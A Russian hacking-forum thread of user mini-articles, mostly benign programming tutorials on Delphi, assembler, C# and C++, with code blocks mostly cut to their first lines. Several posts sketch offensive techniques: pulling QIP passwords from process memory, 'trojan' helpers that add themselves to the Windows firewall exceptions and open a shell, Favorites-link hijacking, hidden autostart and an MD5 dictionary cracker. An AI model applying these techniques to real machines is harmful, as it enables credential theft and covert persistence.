![]() |
мини СТАТЬИ
--=Здесь размещаем статьи по данной тематике=-- *** Правила топика: 1)Обсуждения не здесь, не будем засорять тему... 2)Запрещено размещать чужие статьи,пишем свои...(В том числе изменять чужие, и размещать измененные) 3)Все исходные коды обязательно должны помещаться в теги [code.]... 4)Копировать сюда свои работы, уже опубликованные в разделе СТАТЬИ - запрещено... 5)Пишем все на русском языке(в том числе //комментарии) 6)Вся статья должна вмещаться в один пост... 7)Не забывайте, что главная тема:Безопасность WEB - интерфейсов(Информационна безопасность), статьи должны быть по этим темам... 8)Правила будут пополняться со временем... И помните красивое оформление у нас только приветствуется Статьи не соответствующие правилам будут удаляться... Хорошие статьи будут поощряться(Каждому +) (c) De-visible ============================ Все возникшие вопросы в ЛИЧКУ! |
Карта статей:
1. Assembler. Создание программы путем объединения объектных модулей и библиотек Автор:Dober'man 2. FTP - сервер. "Мини статья" о том как создать простейший FTP-сервер (для новичков) Автор:Dober'man 3. RST киллер или все через "призму" WinPCap Автор:Delimiter 4. Получение *.RES файла. Добавление в него *.EXE, *.DLL файлов, с последующим извлечением на DELPHI 7. Автор:Dr.KoD 5. Assembler. Простейший алгоритм шифрования строк (для новичков) Автор:Dober'man 6. DELPHI. Пишем FTP клиент на Delphi с помощью WinSock API. Автор:Dr.KoD 7. Assembler Выдирание пароля из QIP Автор:slesh |
Assembler Создание программы путем объединения объектных модулей и библиотек by Doberman с краткими пояснениями... Код:
; модуль prog.asm (главный, именно он содержит метку START,Код:
ML /m /coff prog.asmКод:
ML /m /coff prog1.asmКод:
ML /m /coff prog2.asmКод:
ML /m /coff prog3.asmКод:
LINK -LIB prog3.obj /out:masm.libКод:
LINK /subsystem:console prog.obj prog1.obj prog2.objМодули prog1.asm и prog2.asm должны быть преобразованы к объектному виду, а потом скомпонованы в prog.obj. Модуль prog3.obj после преобразования его к объектному виду помещается в объектную библиотеку, которая затем используется при компоновке, благодаря директиве INCLUDEDIR в тексте prog.asm. |
FTP-сервер "Мини статья" о том как создать простейший FTP-сервер (для новичков) by Doberman Наш FTP-сервер будет работать по TFTP протоколу(TrivialFTP). Первым делом разместим на форме компонент TIdTrivialFTPServer (со вкладки Indy Servers) хранящий в себе всю базовую функциональность FTP-сервера. Порт используемый протоколом TFTP по умолчанию, - 69. Свойство BufferSize определяет значение буфера. Перевод FTP-сервера в активное состояние осуществляется в момент создания формы: Код:
procedure TForm1.FormCreate(Sender: TObject);Код:
procedure TForm1.IdTrivialFTPServer1ReadFile(Sender: TObject;Загрузка файла с сервера и передача его серверу происходит в результате нажатия кнопок btnDownload и btnUpload. Весь процесс приема и передачи файлов выполняется автоматически с помощью двух методов Get и Put компонента TIdTrivialFTP: Код:
procedure Get(const ASourceFile: string; ADest: TStream);ADest - название локального файла. AAppend - принимает true, если происходит запись в конец уже существующего файла. Может кто-то и скажет, что таких в сети немерено (баян)....но я старался пояснить код когда писал его =) |
ПОЛУЧЕНИЕ *.RES ФАЙЛА, ДОБАВЛЕНИЕ В НЕГО *.EXE, *.DLL ФАЙЛОВ, С ПОСЛЕДУЮЩИМ ИЗВЕЛЕЧЕНИЕМ НА DELPHI 7.
Не судите строго это моя 1 статья и расчитана она на начинающих кодеров. Ну чтож начнем. Для начала создайте папку и разместите в ней следующие файлы: 1. brcc32.exe (берем этот файл в этой папке D:\Program Files\Borland\Delphi7\Bin); 2. Создаем файл primer.rc, в котором мы укажем какие файлы мы будем добавлять в файл res; 3. Создаем compile.bat им мы будим собирать наш res файл; 4. Ну и естественно тот файл, который мы будем помещать в ресурсы,( у меня ResFile.exe). Все с великим копи пастом мы закончили, теперь поработаем чуток клавой. Для начала откроем файл primer.rc блокнотом и запишем в нем следующую строку: "ResFile EXEFILE ResFile.exe"( без кавычек естесно). Теперь объясню что тут к чему: 1. ResFile - это имя нашего ресурса в res файле, к которому мы будем обращаться и в котором хранится наш файл; 2. EXEFILE - тип файла(папка в файле *.res), он ни на что не влияет и служит для удобства поиска данных в фале ресурсов, чаще всего его имя соответствует типу находящихся в нем данных, но может быть и любым другим; 3. ResFile.exe - это файл, который мы добавляем в файл ресурсов. Закрываем и сохраняем файл primer.rc. Теперь откроем compile.bat(тож блокнотом) и пишем тауую строчку: "brcc32 primer.rc" Этой командой мы получим файл primer.res после запуска compile.bat. Сохраняем и закрываем compile.bat, запустите, в папке вы должны увидеть primer.res. Теперь переходим к кодингу, запускаем Delphi создаем новый проект и пишем следующий код: Код:
implementationКод:
procedure TForm1.BitBtn1Click(Sender: TObject);Если вы захотите разместить несколько файлов в одном файле ресурсов, то для доступа к ним потребуется использовать разные TResourceStream, но это если вы захотите получить доступ к нескольким файлам ресурса в рамках одной процедуры или функции. |
Assembler Простейший алгоритм шифрования строк (для новичков) Тут же добавлю: усложняется знаниями асма (небольшими) и математики... by Doberman Немного теории... Многие кодеры знают об уникальном свойстве реверсивности команды XOR: если её выполнить дважды с одним и тем же операндом, то значение результата инвертируется. А это значит, что мы можем воспользоваться свойством реверсивности операции исключающего ИЛИ для выполнения простого шифрования данных. В процессе шифрования исходная строка, введенная пользователем с клавиатуры, преобразовывается в непонятный набор байтов с помощью другой строки, называемой ключом. Зашифрованный текст можно сохранять или передавать адресату, не опасаясь, что кто-то сможет её прочитать. Получив зашифрованный текст, авторизованный пользователь после дешифрования сможет прочесть первоначальный текст. Ну с этим пока все просто... =) Начнем... Я приведу пример программы использующей метод симметричного шифрования, т.е. для шифрования и расшифровки используется один и тот же ключ. Опишу АЛГОРИТМ ПРОГРАММЫ: * С клавиатуры вводится исходное сообщение. * Программа в цикле выполняет шифрование каждого байта исходной строки. ___ с помощью одного и того же ключа, размером в один символ. ___ В результате получается зашифрованное. сообщение. * Программа выполняет расшифровку сообщения и отображает расшифрованное. Ну и собственно сама программа... ************************************************** ********************************************* Код:
TITLE Программа шифрования (Encrypt.asm)и максимальный размер буфера Код:
INCLUDE Irvine32.incКод:
.data- зашифровываем - отображаем - расшифровываем - отображаем Код:
.codeКод:
InputTheString PROC- сохраняем строку и ее длину в соответствующих переменных Код:
pushadКод:
DisplayMessage PROCКод:
pushadКод:
TranslateBuffer PROCс обним и тем же целым числом, т.е. ключом Код:
pushad |
Пишем FTP клиент на Delphi с помощью WinSock API. Часть 1 Наконец то у меня дошли руки чтобы написать эту статью, вернее одну из ее частей( будет 2 или 3 части). Думаю данная тема будет интересна многим людям, т.к. информации о написании фтп клиента с использованием WinSock API практически нет(ну а если есть у кого какие ссылки по этому вопросу скиньте в личку), и когда начинающие кодеры задают вопрос на эту тему их практически всегда посылают читать протокол фтп(RFC 959) ну или советуют пользоваться WinInet или индейцами. Свою статью я не на целиваю на новичков в программировании, вы должны знать хотябы основы WinSock API и иметь навыки программирования в Delphi. Для начала я вам советую почитать о FTP протоколе, вот несколько сайтов где вы можете получить некоторую информацию: http://book.itep.ru/4/45/ftp_454.htm http://athena.vvsu.ru/docs/tcpip/rfc/rfc959.txt http://sources.ru/protocols/ftp_learning.shtml http://www.soslan.ru/tcp/tcp27.html В 1 Части мы реализуем следующие функции нашего фтп клиента: 1. Создадим соединение с фтп сервером; 2. Напишем процедуру отправки команд FTP серверу; 3. Научимся получать ответы от него. Ну чтож приступим: Создайте новый роект, для удобства мы будем использовать VCL(он нам нужен будет для интерфейса), чтобы мы могли непосредственно заниматься написанием кода фтп клиента, а не заниматься еще и кодингом формы и остальной байды. В последствии вы сможете без труда перенести все функции в любое свое приложение. Для начала после uses зададим константу: Код:
constКод:
varКод:
if WSAStartup(MAKEWORD(1,1), WSADt)<>0 then //инициализируем WinSockКод:
procedure TForm1.SendCommandFtpSrv(s: TSocket; command:string); // s- сокет для отправки данных, command - команды фтп Код:
procedure TForm1.ConnectFTP(ftpsrv, port, usern, //ftpsrv - адрес сервера, port -порт,usern- логин,Код:
procedure TForm1.RecvS(sock: TSocket);Код:
procedure TForm1.MSGSocket(var Mess: TMessage);в 1 кнопке пишем: Код:
ConnectFTP('ххх.ххх.ххх.ххх','21','login','pass');Код:
SendCommandFtpSrv( ClSocket, 'QUIT'); //Эта команда говорит о завершении соединения клиента с серверомперечислите названия всех используемых процедур(думаю все знают как это делать, ну а не знаете это уже ваши проблемы), которые мы написали, но даже после этого вы скажете, что код нефига не пашет, поэтому отвечу сразу на этот вопрос процедура MSGSocket после слова private будет иметь следующий вид: Код:
procedure MSGSocket(var Mess: TMessage); message WM_MYSOCKMESS;P.S. О чем я напишу во 2 и 3 частях: Ну тут будет пожалуй самое интересное, такое как загрузка файлов на фтп сервер, скачивание файлов, переход по папкам, удаление файлов, кароче постепенно я постараюсь выложить достаточно приличный фтп клиент. ------------------------- De-V: СТАТЬЯ В КОНКУРСЕ |
Выдирание пароля из Qip
Выдирание пароля из QIP Методы:1. Напрямую копирование из памяти 2. Чтение из поля ввода пароля Алгоритм работы: 1. Нам необходимо получить привелегии отладчика чтобы 100% иметь доступ на чтение памяти другова процесса. Это реализуем следующим образом: Код:
proc SetDBGКод:
proc QIP_MEMКод:
proc GetPas,PIDVER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h, 08000000h,08000100h,08000200h ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch, 006972ECh,0069F580h,0069F57Ch Для определения версии файла используем функцию: Код:
proc GetFileVer,PIDКод:
proc ReadData PID,ADRКод:
proc QIP_WNDКод:
proc QIP_WND_GETPASS,hManFormКод:
invoke lstrlen,[buffer] ; получим длинну наших данныхКод:
proc AddToBuf,add_bufКод:
table db '0123456789ABCDEF' ; для конвертирования в HEXКод:
<?http://forum.antichat.ru/thread71678.html ------------------------- De-V: СТАТЬЯ В КОНКУРСЕ |
Читаем COM-порт в 1C с помощью Delphi .Net Привет всем обитателям сего сайта =) давнеько я уже ничего не писал, вот наконец выдалось свободное время.В настоящее время широкое изобилее языков программирования и сред разработки просто пугает, и прогер решает чем пользоваться чтоб выполнить ту или иную задачу. но бывает что возникают ситуёвины когда функциональности языка нехватает для решения задачи, ну не начинать же всё заново в другой среде О_о? была у мня как то роботёнка: нужно было написать сервис который бы читал память внешнего устройства (подключеного черз COM), и писал данные в БД Access (всё прошло на ура). Через пол года заказчик обратился ко мне с просьбой переделать сервис так чтобы писал он полученные данные не в Access а в таблицы 1С. Тут то я и грузанулся как в 1С читать Com порт О_о (сервис я писал на Delphi)? Первое что пришло в голову сделать DLL в которой бы были функции для работы с девайсом, но потом появилась идея лучше На помощь пришла технологи .NET, а именно Web-сервисы созданные на платформа Net. всё ремя пользовался Delphi 7, но тут никуда не денишся пришлось иди в ногу со временем, вощем установил я себе Borland Developer Studio 2006 (BDS) и в перёд. Код до его модернизации выглядел приблизительно так: Код:
Код:
и вуаля... что мы видим, а видим мы тот самый метод... и даже можеи его вызывать, мало того, так ещё и ответ в XML-ке получаем. вот так вот мы и примирили RS-232 и HTTP. но как вы помните задача первонапчальная стояла совсем другая... вот код 1С для обращения к веб сервису Код:
в итоге мы получаем следующую картину: 1С общаеться с внешним устройством (подключеным к ком порту) через веб сервис, это даёт возможность работать с данным устройством всем рабочим станциям в сети (но при этом в коде после обращения к девайсу нужно закрывать ком порт) |
Параллельные вычисления в Microsoft Visual C# (NET Framework 3.5) На сегодняшний день развитие индустрии компьютеростроения идет широкими шагами. Растут объемы оперативной памяти, частоты работы процессоров, количество процессоров и их ядер. Не секрет, что даже самый маленький процессор сегодняшнего дня производительностью превосходит процессоры для серверных платформ дня вчерашнего. Но зачастую гигагерцы процессоров и гигабайты оперативной памяти сводятся на нет невозможностью современного софта использовать аппаратные ресурсы на 100%. Это понимают и производители программного обеспечения и производители «Железа», стремясь разработать технологию позволяющую «нагрузить» компьютер по «полной». Сегодня мы рассмотрим одно из таких решений. 1) Библиотека Parallel Extensions to .NET Framework 3.5 от фирмы Microsoft corp. (Подробнее о ней можно почитать в MSDN выпуск - October 2007). Итак, для экспериментов нам понадобятся: (Ссылки на программы даны в конце статьи) 1) Microsoft Windows XP или Vista… 2) Microsoft .NET Framework 3.5 (Входит в комплект поставки Visual Studio 2008/2008 Express Edition) 3) Visual Studio 2008 Express Edition. 4) Библиотека Parallel Extensions to .NET Framework 3.5. Parallel Extensions to .NET Framework 3.5 Скачиваем и устанавливаем библиотеку Parallel Extensions to .NET Framework 3.5. Запускаем Visual Studio и создаем консольный проект на C# for .NET. Щелкаем на вкладке References нашего проекта и выбираем Add Reference. Далее во вкладке Browse находим библиотеку System.Threading.dll (По-умолчанию -> c:\Program Files\Microsoft Parallel Extensions Dec07 CTP\). В редакторе кода дописываем: Код:
using System.Threading;Код:
if (System.Environment.ProcessorCount < 2)Код:
Console.WriteLine("If you want test Single-Core platform press 1");Код:
switch(r)А теперь распараллелим вычисления: Код:
case "2":Вот мы с вами и научились писать распределенные приложения, балансируя нагрузку на CPU компьютера с помощью Parallel Extensions to .NET Framework 3.5. В следующей статье мы рассмотрим, написание многопоточных приложений без использования .NET Framework с помощью библиотеки Intel® TBB (Threading Building Blocks) – кроссплатформенная библиотека для параллельных вычислений от фирмы Intel. Parallel Extensions to .NET Framework 3.5 |
Vkontakte авторизация [DELPHI]
Вложений: 1
Vkontakte авторизация [DELPHI (WinSock) ] *** [intro] По многочисленным просьбам в ПМ, написал мини статейку про авторизацию на сайте vkontakte.ru (Все на сокетах.) [Исходный код с комментариями] глобальная переменная. Код:
varКод:
procedure Err(n:integer);//Функция обработки ошибокКод:
function CopyCookie(s,sBuff:string):string;//Функция для копирования cookie(страница 302)Код:
function redirect(sBuff:string):string;//Функция для выдирания id, из set-cookieКод:
varКод:
BeginКод:
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);Код:
//Формируем пост запросКод:
Err(Shutdown(S,SD_Send));example Код:
Edit3.Text:='http://vkontakte.ru'+redirect(sBuff);Поэтому просто покажу как попасть в свой профиль): Формируем запрос(GET), отправляем данные и получаем заголовок от серевера(записываем его в Memo1). Код:
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);На статью может и не тянет, но просьбу некоторых форумчан я выполнил), да и для многих думаю будет полезным(для новичков)... А так ждем пополнения этого топика, хорошими статейками, что бы многим было интересно почитать. (здесь постим только статьи, обсуждения не здесь. За дальнейшее использование статьи, автор никакой ответственности не несет...) Исходник и экзешник: ЗДЕСЬ |
Папка "Избранное", скрытая угроза! На статью это конечно не сильно потянет, но маза имеется. Почему-то все трояно- писатели стремятся подменить запросы которые выдает ему поисковик. Временами это доходит до фанатизма и технологии усложняются. Но мы с вами лентяи и рассмотрим незаслуженно забытых «любителей» избранного. Папочка Favorites, вот кладезь нетленная. Ведь юзер сохранив название понравившейся странички, совершенно не помнит адреса. А если это порно страница? И можно попросить пользователя установить плагин для отображения содержимого? Просто рай какой-то. Итак, код прост. Для простоты юзаем WinAPI функции, файлики с расширением .url и ini по сути одно и тоже… Код:
::GetPrivateProfileString(LPCTSTR SectionName, LPCTSTR KeyName, LPCTSTR Default, LPTSTR ReturnedString, DWORD strSize, LPCTSTR FileName);Погуглив на наличие подобного в интернете и нашел только 1 ссылку, но и та на момент написания статьи не работала. Так что копирайт античату. И никто не несет ответственности за использования описанных методов. С уважением merax. |
Очень маленькая статья, для маньяков, которые пишут огромные думающие существа и хотят их скрыть Delphi code: создаем обработчик для формы и в нем прописываем: PHP код:
Также, если мы не хотим, чтобы человек закрыл или запалил прогу, свернув её настройте показатели формы BorderIcons везде на False. Спасибо, за то что потратили время на чтение. Ещё одна mini-статья по Делфи: Пойдет речь о том как добавить свою delphi программу в автозапуск или cделать так что бы она запускалась при каждом страте Windows. Для этого нам нужно добавить некоторые записи в реестр Windows. Для начала, в раздел uses добавляем RegisTry. В любом обработчике событий (можно в OnCreate у формы или в OnClick у кнопки) прописываем код приведенный ниже. PHP код:
De-V: Одобрено. |
Простые, но всёже полезные функции для различного рода троянов и тому подобных вещей.
Весь код - на API - по этому легко реализуется в независимо от использования VCL и сторонних компонентов. И так приступим. 1) Обход встроенного в винду фаервола: Добавляет саму себя в обход фаера Код:
procedure fuck_xpfw;Код:
function windir:string; // возвращает путь к папке windowsКод:
function isRun:boolean;C авторизацией Код:
procedure RunShell; |
Недавно столкнулся с проблемой работы с drag&drop для произвольных объектов. Решил тут кратенько описать что к чему.
По настоящему всё просто. Для объектов windows forms есть реализация drag&drop(сейчас не об этом).Возьмём к примеру программу которая будет строить многоугольник.И сделаем так чтобы каждую вершину можно drag&drop'ить. Заведём в нашем классе следующее:
добавление точек в многоугольник и отрисовку его писать здесь не буду. Для начала обработаем нажатие копки(не путать с кликом,клик = нажал и отпустил) Код:
private void Form1_MouseDown(object sender, MouseEventArgs e) Код:
private void Form1_MouseMove(object sender, MouseEventArgs e)Код:
private void Form1_MouseUp(object sender, MouseEventArgs e)Код:
private void Form1_Paint(object sender, PaintEventArgs e) |
Ну кагбе хекаем мышку ламера=))
Взлом компьютерной мышки=))
Вот начал я изучать ассембер и не удержался чтоб не написать какую то программу шутку:).Эта программа не повредит компьютеру, а только изменит расположение кнопок мыши и напугает ламера:)). Что нам потребуется: 1)Компилятор masm32 или tasm, разница в синтаксисе минимальна но советую взять masm32, потому что объяснять я буду именно по нему. 2)Любой текстовый редактор. 3)Прямые руки и голова на плечах. Первые строки. Код:
.386 .386-этой строкой мы говорим нашему компиятору, что намеpеваемся использовать набоp инстpукций пpоцессоpа 80386. .Model flat, stdcall говоpит MASM'у, что наша пpогpамма будет использовать плоскую модель памяти. Далее мы подгружаем инклудники и библиотеки. .data В области дaнных у нас будет 2 строки: Код:
HINST DWORD 0Код:
strHack db "I hacked you mouse!",0.CODE В области кода мы имеем: Код:
start: start:– указывает на начало исполняемого кода. invoke SwapMouseButton,0– прикрепляем API функцию SwapMouseButton с параметром 1(Эта функция и меняет кнопки мыши местами). invoke MessageBox, 0 , addr strHack, addr strHack , 0 – эта API функция выводит окно с сообщением. addr strHack указывает на текст сообщения который мы указали выше. exit: - указывает на код завершения программы. invoke ExitProcess , 0 – завершение программы после нажатия кнопки ok. Ну и самая последняя строка- это end start – она указывает на конец участка кода. Вот мы и закончили с программной частью. Компиляция. Для компиляции нашей программы мы напишем 2 простеньких батника, что бы не мучатся каждый раз вбивая комманду в консоли... Первый батник: Код:
@ echo ----OBJ---- Второй: Код:
@ echo ----EXE---- Теперь давайте разберемся как от этого избавится. А это предельно просто: Замените параметр SwapMouseButton с 1 на 0 и всё. Вот мы и написали простинький «Вирус» и «Антивирус». Полный текст программы: Код:
.386 С вами был m0rgan. Удачи во всех начинаниях! P.S.:Статейка расчитана на (!!!)новичков в асме... |
Использование плагинов в .NET
Введение
Данный материал ни на что не претендует. Сегодня просто стало интересно, как же использовать плагины в .NET? Если в Win32 это LoadLibrary & GetProcAddr, то в .NET это ...? P.S. надеюсь орфографических ошибок не будет =) ссылка на сорцы и бинарники - http://www.sendspace.com/file/72o96u Требования: .NET Framework 2.0 Извиняюсь за отсутствие комментов в коде На чем будет все базироваться? Грубо говоря все основывается на интерфейсе, который должен быть реализован в плагине. Расмотрим интерфейс который я использовал: PHP код:
1 - string Description - аксессор. Возращает описание плагина; 2 - object Calc - функция. Принимает 2 параметра int типа, возвращает объект - object, который можно конвертнуть в необходимый. Данная библиотека добавляется в ссылки и в лоадере и в плагине. Лоадер Собственно вот и лоадер... Что он из себя представляет? Обычное WinForm приложение. Создаем экземпляр объекта Hashtable; PHP код:
private void GetPlugins() - данная функция ищет плагины (об этом поподробнее ниже) private void button1_Click - обработчик нажатия на кнопку (иницирует работу плагина (точнее его метод, реализация интерфейса)) PHP код:
PHP код:
Конец ну вот и все... |
используем Parallel Extensions для .Net
Parallel Extensions это небольшое дополнение к библиотеке System.Threading, которое позволяет на высоком уровне выполнять задачи на всех доступных ядрах/процессорах.
История Библиотека Parallel Extensions (PE) — совместный проект команды .Net и Microsoft Research — впервые увидела свет 29 ноября 2007 года. Она создана для того, чтобы разработчики могли пользоваться современными многоядерными архитектурами, не утруждая себя трудоемким управлением потоками. Программы, написанные с применением библиотеки, автоматически используют все доступные ядра системы. Если же программа будет запущена на старом одноядерном компьютере, то выполнение будет происходить последовательно, практически без потерь в производительности. Таким образом, использование PE раскрывает все преимущества многоядерных технологий, сохраняя работоспособность на одноядерных системах. Последнее обновление библиотеки было в июне 2008 года. Сейчас она имеет статус Community Technology Preview и, скорее всего, войдет в 4 версию .Net. Состав библиотеки PE состоит из трех основных компонентов: * Task Parallel Library (TPL) — предоставляет такие императивные методы, как Parallel.For, Parallel.Foreach и Parallel.Invoke для выполнения параллельных вычислений. Вся работа по созданию и завершению потоков, в зависимости от имеющихся процессоров выполняется библиотекой автоматически. * Parallel LINQ (PLINQ) — надстройка над LINQ to Objects и LINQ to XML, позволяющая выполнять параллельные запросы. В большинстве случаев достаточно в начале запроса написать AsParallel() для того, чтобы все последующие операторы выполнялись параллельно. Внутренне использует TPL. * Coordination Data Structures (CDS) — набор структур, который используется для синхронизации и координации выполнения параллельных задач. Перейдём к примеру: PHP код:
Код:
Searching for : publicPHP код:
Код:
Search using Parallel ProcessingСкачать Parallel Extensions для .Net 3.5 |
Введение
Микро Статья для начинающих в кодинге по работе с мукулом. Думаю будет полезно.Все примеры для командной строки. Начнем Заголовки Код:
#include <iostream>Код:
int main()Код:
mysqlpp::Connection con(false);//Создадим объект con для соединения с серверомКод:
mysqlpp::Query query = con.query();Код:
if (res) {Вот и все основные команды.Стаья не очень,но пишу сам как новичок. |
Использование ресурсов (Delphi)
Введение
куча вопросов по поводу работы с ресурсами, тут приведу лишь 1 вариант извлечение онного... BRCC32 1. Запускаем блокнот 2. Записываем секцию вида - updater_exe RCDATA updater.exe 3. Сохраняем с расширением rc 4. Открываем консоль. Набираем следующее brcc32 <путь и имя файла (пункт 3)> 5. В итоге должны получить фай с расширением res {$R <Resource.res>} 1. Создаем проект в Delphi 2. Используя дериктиву $R добавляем использование ресурса... Пример {$R myres.res} Извлечение ресурса Цитата:
вот и все... |
Отправка e-mail на С#
Простое консольное приложение которое позволяет отправить email. Нужно указать свой Smtp-сервер в SmtpMail.SmtpServer, по умолчанию это localhost. Чтобы добавить System.Web.Mail идём в Project->Add Reference на вкладке .Net выбираем System.Web.
Вариант 1: PHP код:
PHP код:
|
Измерение температуры процессора AMD64
[Измерение температуры процессора AMD64]
[Преамбула] Неожиданно при измерении температуры процессора CoreTemp - ом захотелось научиться это делать самостоятельно. Как видно из заголовка я обладатель процессора AMD. Почему я это решила запостить? Да как-то пока материал искала, наткнулась на несколько тем на форумах, но примера нормального так и не нашла (а вопросы такие периодически возникают). Материал практический, по теории достаточно в манах AMD. Я только кратко обрисую основные теоретически моменты. [Coding] Чтобы узнать текущую температуру нам потребуется доступ к так называемому Thermtrip Status Register. Его формат http://s56.radikal.ru/i151/0901/8e/86af0dcef1eb.jpg Чтобы прочитать значение Thermtrip Status Register для каждого ядра, нам потребуется доступ к конфигурационному пространству PCI. Для доступа к устройствам на шине PCI существует 2 порта - 0xCF8 и 0xCFC. Порт 0xCF8 именуется CONFIG_ADDRESS (0xCF8) и в него заносится значение в формате http://s39.radikal.ru/i083/0901/93/68e27a0f3a22.jpg Порт 0xCFC или CONFIG_DATA предназначен для чтения/записи данных в конфигурационное пространство. Сначала мы должны выбрать нужное устройство посредством регистра CONFIG_ADDRESS, а потом прочитать данные из CONFIG_DATA (чуть забегая вперед записывать в CONFIG_DATA тоже придется при выборе ядра). Теперь перейдем непосредственно к кодингу. Для удобства формирования CONFIG_ADDRESS приведу 2 функции (взято из книженции "Программирование Аппаратных средств в Windows", глава 12 "Пространство шины PCI"): Код:
int GetDeviceSlot(int iDevice,int iFunction){Код:
Bus:0 Device:24 Function:3 Offset:0xE4 Почему такие значения? Все это из документации (ссылки на нее в конце). Ясное дело, что ядра у нас может быть 2. Тогда смотрим еще раз внимательно на формат Thermtrip Status Register и видим бит ThermSenseCoreSel, отвечающий как раз за выбор ядра. Если второй бит от нуля (ThermSenseCoreSel) будет равен 0, то мы проверяем температуру первого ядра, если 1- второго. Итак, полный код функции, которую следует поместить в драйвер Код:
http://s40.radikal.ru/i087/0901/6b/d918409dc547.jpg *Тестировалось на Amd Athlon 64 x2 Dual Core, ОС WinXPSP3 [Что читать?] Ну если тема интересна, то могу порекомендовать по AMD [1] Мануалы от производителя. http://developer.amd.com/documentation/guides/Pages/default.aspx#developer_guides [2].Хорошая статья, которая помогла мне связать все воедино Реализация низкоуровневой поддержки шины PCI в ядре Linux http://www.opennet.ru/base/dev/pci_linux_kernel.txt.html конкретно по сабжу будет полезен раздел "Конфигурационное пространство устройства PCI", там как раз про Configuration Mechanism, CONFIG_ADDRESS, CONFIG_DATA. Как прочтете это - сразу все в голове уложится. PS В общем-то посредством пм со мной можно связаться и какой-то момент уточнить. PSS Сессия, мать ее, моя первая сессия. Чувствую себя ботом, сконфигурированным на заучивание конспектов.... ( |
[Voltage ID]
[Voltage ID]
В жж своем писала уже это сегодня, но т.к. не все читают чужие жж как логическое продолжение отпишу и тут. Я так подумала, что буду потихоньку приводить в нормальный вид свой кодес с измерением температуры и делать что-то более-менее приличное, конечно, в образовательных целях. В планах привести сорс в нормальный удобочитаемый вид и выложить для всеобщего пользования. Ясное дело, что чисто температуру мерить довольно скушно, вот я и подумала по ходу дела прикрутить измерение текущего напряжения питания процессора, к тому же, что делается это довольно-таки просто. Для того, чтобы узнать текущий Voltage ID (а затем переверсти его в значение напряжения) нам потребуется доступ к так называемому FIDVID_STATUS register, машинно-зависимому регистру с адресом 0xС0010042. http://pics.livejournal.com/0x0c0de/pic/00004e4c Его формат. Нас интересует 6-битовое поле CurrVID во втором двойном слове. Таблица соответсвия этих 6-битов и значения напряжения приведена ниже. http://pics.livejournal.com/0x0c0de/pic/0000532e Сначала проверяем с помощью функции 8000_0007 CPUID доступность этой [VID] опции (функции CPUID можно глянуть в CPUID Specification от AMD, ссылки на скачку я давала в предыдущем посте амдэшных мануалов). Код:
В драйвере, после проверок пишем Код:
// получаем напряжениеИз таблицы соответствия была выведена формула для напряжения opart - часть до запятой, tpart - после запятой. Код:
DWORD opart,tpart;Как-то так. --- Если есть ошибки - неточности в моих рассуждениях буду рада указанию на них, т.к. в общем-то тестирования достаточного не было и какой-то момент могла упустить. Кароче, велкам в jabber и пм, если что. --------- Ах да, речь, идет, конечно об амд, насчет как это у интелов я хз, пока в их манах не смотрела этого |
Нихеранепонятный код обновлен, теперь по крайней мере читабельно. Исправила баг с загрузкой драйвера [установка привилегий, в SP2 и SP3 моих работало нормально, но на win7 там не загружался]. И еще я действительно в первый раз не усмотрела нумерацию ядер в мануале и поэтому были разночтения коретемпом. Теперь номер измеряемого ядра показывается верно.
сорцы, бинари теперь тут http://code.google.com/p/amd-cpu-info/ Тот код, который выше в постах уже не исправляю, так как нет времени и желания. Пускай будет. За нормальными сорцами на код гугл. Замечания желательно слать в jabber, так как там я бываю чаще, чем на форуме. |
MSDN с человеческим лицом, или "low-bandwidth view"
Подумал что данный раздел более всего подходит.
Оригинал (англ) Оригинальный копи-паст (рус) Jon Galloway пишет о сверхсекретной разработке Microsoft: MSDN с человеческим лицом, или "low-bandwidth view". С помощью фильтра loband, добавляемого в url статьи MSDN, её можно загрузить в 10-15 раз быстрее, без мишуры на пол-экрана: System.String.aspx , 317Кб http://1.bp.blogspot.com/_tHmayhtdSt...640/string.png System.String(loband).aspx , 14Кб http://1.bp.blogspot.com/_tHmayhtdSt.../string-lb.png Low-band представление можно сохранить с помощью cookie (ссылка Persist/switch off low bandwidth view вверху страницы). Или включать по желанию - для этого есть bookmarklet, который с помощью javascript этот cookie устанавливает/сбрасывает. Выглядит он так: javascript: if(document.cookie.indexOf('LoBandEnabled=yes')<0) { document.cookie='LoBandEnabled=yes;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT'; } else{ document.cookie='LoBandEnabled=no;path=/;domain=.microsoft.com;%20expires=Wed,%2001-Aug-2040%2008:00:00%20GMT'; } window.location.reload(); Установить в браузер его можно так: Для Firefox/Opera перетащите эту ссылку - PHP код:
Для Internet Explorer - в контекстном меню ссылки PHP код:
|
Создаём скрытое консольное приложение
Эта мини-статья о том, как создать консольное приложение в Visual C++ так, чтобы оно не появлялось на экране.
Основной трюк здесь в структуре STARTUPINFO. Она содержит много параметров, из них нам нужны PHP код:
PHP код:
PHP код:
PHP код:
PHP код:
|
Перебор пароля по словарю. MD5-хеш (C#)
Введение. Описание программы.
Информация в данном материале может оказаться полезной для тех, кто планирует использовать авторизацию в своем ПО, работать с хешами алгоритма шифрования MD5, а так же для тех, кому просто интересен принцип работы переборщиков паролей по словарю (брутфорсеров). Автор акцентирует внимание читателя на том, что программа работает исключительно с базами словарей (в коде осуществляется работа с txt-файлами, но это не столь принципиально), а не генерирует диапазоны символов для перебора. Основная часть. Составление и кодирование алгоритма. Условие задачи довольно простое: имея на руках MD5-хеш, подобрать коллизию (проще говоря, найти комбинацию символов, соответствующую этому хешу, то бишь пароль). Принцип и алгоритм работы приведен ниже. 1. Открыть файл с хешем (input.txt) и открыть файл с паролями (pass.txt). 2. Перевести все символы хеша в верхний регистр. Данная операция позволит корректно сравнивать его с генерируемыми нами хешами (при генерации все символы в хеше в верхнем регистре). 3. Прочитать i-ю строчку файла, где i принадлежит отрезку [0; EndOfFile] (это не столь важно, т.к. строка из файла будет считываться до тех пор, пока не окажется пустой). 4. Сгенерировать хеш прочитанной строчки. 5. Сравнить с целевым хешем. Если равны – вывести строку, соответствующую сгенерированному хешу. Если не равны – продолжить шаги 3-5. 6. Если достигнут конец файла, то уведомить пользователя о том, что пароль не найден. Если по какой-либо причине непонятны те или иные шаги, то, возможно, все вопросы отпадут после анализа кода (и соответствующих ему комментариев) получившейся программы. Код:
